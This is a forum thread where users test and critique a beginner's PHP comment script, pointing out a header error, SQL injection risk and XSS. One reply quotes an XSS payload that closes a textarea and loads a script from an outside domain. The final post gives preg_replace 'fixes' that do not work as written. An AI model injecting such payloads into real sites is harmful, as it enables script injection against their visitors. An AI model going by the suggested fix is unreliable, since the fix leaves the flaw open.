Jump to content

My first PHP Script


CammyD

Recommended Posts

When I hit GO:

Warning: Cannot modify header information - headers already sent by (output started at /home/sites/cambiker.com/public_html/talk/index.php:4) in /home/sites/cambiker.com/public_html/talk/index.php on line 220

 

 

IMPORTENT! PLEASE DO NOT TYPE ' INTO THE BOX, OR IT WILL BREAK!

 

LOL, that's not good. It's basically telling everyone to try an SQL injection.

Look at the information on this page, and try and implement something that will not allow this:

http://www.php.net/manual/en/function.addslashes.php

 

Link to comment
Share on other sites

The main problem is when you press Go! it says this:

 

Warning: Cannot modify header information - headers already sent by (output started at /home/sites/cambiker.com/public_html/talk/index.php:4) in /home/sites/cambiker.com/public_html/talk/index.php on line 220
Link to comment
Share on other sites

Tried to test it out but got this...

 

Vunerable - Potentially Pwned

This is an example of XSS, you need to protect against this or your site could be completely and utterly pwned.

That is all!

 

Ciao!

 

uh oh! hehehehe looks like you got work to do

Link to comment
Share on other sites

Tried to test it out but got this...

 

Vunerable - Potentially Pwned

This is an example of XSS, you need to protect against this or your site could be completely and utterly pwned.

That is all!

 

Ciao!

 

uh oh! hehehehe looks like you got work to do

 

;D Told you there was a flaw. =P He can easily fix it by taking the "</textarea><script src=http://www.helraizer.co.uk/xss1.js></script>" out of the code.

Link to comment
Share on other sites

You should word wrap comments. If you look now the comments area is really wide because I said this

 

thisisareallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallylongcommentforyou,reallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreallyreally

reallyreallyreallyreallyreallyreallyreallyreallylong

 

without any spaces and it broke the formatting.

 

Sam

Link to comment
Share on other sites

To protect against the XSS you can use preg_replace.

 

preg_replace("/textarea/i","",$textarea); // so if anyone uses the work textarea in the textarea (comment) it will delete the word so if they used </textarea> it'd just give </>

 

you can also use preg_replace for other things like

 

preg_replace("/</","<",$textarea);
preg_replace("/>/",">",$textarea);

 

which should change </script> to </script> which will render XSS not possible.

Link to comment
Share on other sites

  • 3 weeks later...
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.